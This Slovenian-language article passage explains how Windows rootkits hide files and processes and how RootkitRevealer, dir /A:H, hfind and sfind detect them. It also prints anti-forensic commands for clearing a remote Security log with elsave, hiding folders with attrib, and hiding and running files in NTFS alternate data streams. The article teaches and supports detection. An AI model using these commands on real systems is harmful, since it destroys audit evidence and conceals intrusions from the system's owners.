    Rootkiti v uporabniškem načinu lahko npr. skrivajo določene datoteke tako, da prestrezajo klice vmesnikov API FindFirstFile in FindNextFile, ki ju uporabljata ukazna vrstica (command prompt) in Raziskovalec (Explorer). Ko gre za datoteke, ki jih želi napadalec skriti, jih tak program izpusti s seznama, ki ga vrne Raziskovalcu ali ukazu 'dir' v ukazni vrstici, za prikaz na zaslonu.

    Ti rootkiti torej v osnovi prestrezajo osnovne (native) klice API do jedra sistema in lahko prikrivajo dele datotečnega sistema, ključe registra in procese.

    Rootkiti, ki tečejo v jedru operacijskega sistema, so še močnejši, ker lahko poleg tega, kar zmorejo v uporabniškem načinu, tudi neposredno spreminjajo podatkovne strukture jedra. Spletna stran www.rootkit.com je namenjena ravno rootkitom za operacijske sisteme Windows.

    RootkitRevealer

    RootkitRevealer je orodje, ki odkrije večino rootkitov v okoljih Windows NT/2000/XP/2003. Ker ti večinoma skrivajo svoje datoteke, ključe registra in procese, ki vseeno fizično na sistemu obstajajo, deluje RootkitRevealer tako, da primerja rezultat pregledovanja na najvišjem nivoju (z uporabniškimi programi) in na najnižjem nivoju (surovo vsebino datotečnega sistema in osnovno datoteko, ki hrani vsebino registra - Registry hive). Razlika med njima pomeni, da imamo opraviti z rootkitom. Povsem zanesljive detekcije pa se žal, pri sedanji arhitekturi operacijskih sistemov, ne moremo nadejati.

    Slika 4: Program za odkrivanje rootkitov.

    Zakrivanje sledi

    Hekerji običajno takoj po vdoru izključijo varnostno beleženje (auditing), odstranijo pa tudi v sistemskem dnevniku že zabeležene dogodke, ki se nanašajo na njihov vdor.

    Čiščenje dnevnika

    S posedovanjem administratorskega gesla to ni težko in je mogoče izvesti ročno. Poleg tega obstajajo orodja, ki to opravijo samodejno. Na primer, poženejo lahko program elsave, s katerim izpraznijo varnostne vnose v dnevniku:

    C:\> elsave -s \\192.168.1.3 -l "Security" -C

    Še eno orodje, ki selektivno "očisti" dnevnik, je WinZapper, ki pa ga je treba pognati krajevno, poleg tega zahteva vnovični zagon sistema.

    Skrivanje datotek

    Zadnje, kar si napadalec želi, je, da uporabnik v svojem računalniku odkrije njegove datoteke. Zaradi tega jih skuša narediti čimmanj opazne. V ta namen uporablja nevpadljiva imena ter shranjuje na mesta, ki jih uporabnik redko obiskuje. Poleg tega jih lahko naredi za nevidne za običajno pregledovanje z ukazom dir pa tudi za Raziskovalca. To lahko stori že s starim ukazom, ki izhaja še iz DOSa:

    C:\> attrib +h <ime_mape>

    V primeru, da so na diskih računalnika žrtve odseki NTFS, lahko napadalec svoje datoteke skrije v uporabnikove lastne datoteke. NTFS namreč omogoča obstoj več podatkovnih tokov v okviru ene same datoteke. Pri Microsoftu zagovarjajo to možnost s tem, da lahko datoteki prilepimo dodatne atribute in informacije. Takšno skrivanje datotek je mogoče z orodjem cp, ki je del zbirke pomožnih programov NT Resource Kit. Uporaba orodja cp je naslednja:

    C:\> cp <hekerjeva_datoteka> <žrtvina_datoteka>:<hekerjeva_datoteka>

    Morebitni izpis mape prikaže le žrtvino datoteko:

    C:\> dir

    .....

    <žrtvina_datoteka>

    .....

    Ko jo potrebuje, heker svojo datoteko izlušči z:

    C:\> cp <žrtvina_datoteka>:<hekerjeva_datoteka> <hekerjeva_datoteka>

    Heker lahko svojo skrito datoteko požene tudi neposredno (ne da bi jo "izluščil") s:

    C:\> start <žrtvina_datoteka>:<hekerjeva_datoteka>

    Če so napadalčeve datoteke skrite z 'attrib +h', jih lahko opazimo, če uporabimo ukaz dir /A:H, ali v Raziskovalcu vključimo 'Show Hidden Files and Folders'. Pomagamo si lahko tudi s programom hfind, ki je nastal v podjetju Foundstone. Za odkrivanje datotek vstavljenih kot tok v drugo datoteko, si lahko pomagamo s programom sfind, ki so ga prav tako razvili v podjetju Foundstone.

    Viri in dodatno branje:

    Solarwinds, http://www.solarwinds.net/ (IP Network Browser)

    NetCat, http://netcat.sourceforge.net/

    Cult of the Dead Cow, http://www.cultdeadcow.com/ (BackOrifice)

    NTSecurity, http://ntsecurity.nu/ (KerbCrack, FakeGINA)

    AntiKeylogger, http://www.anti-keyloggers.com/

    Windows Deployment and Resource Kits, http://www.microsoft.com/windows/reskits/default.asp

    System Internals, http://www.sysinternals.com/ (PsExec, RootkitRevealer)

    Foundstone, http://www.foundstone.com/

    Naroči se na redna tedenska ali mesečna obvestila o novih prispevkih na naši spletni strani!

    Komentirajo lahko le prijavljeni uporabniki

     
    • Polja označena z * je potrebno obvezno izpolniti
    • Pošlji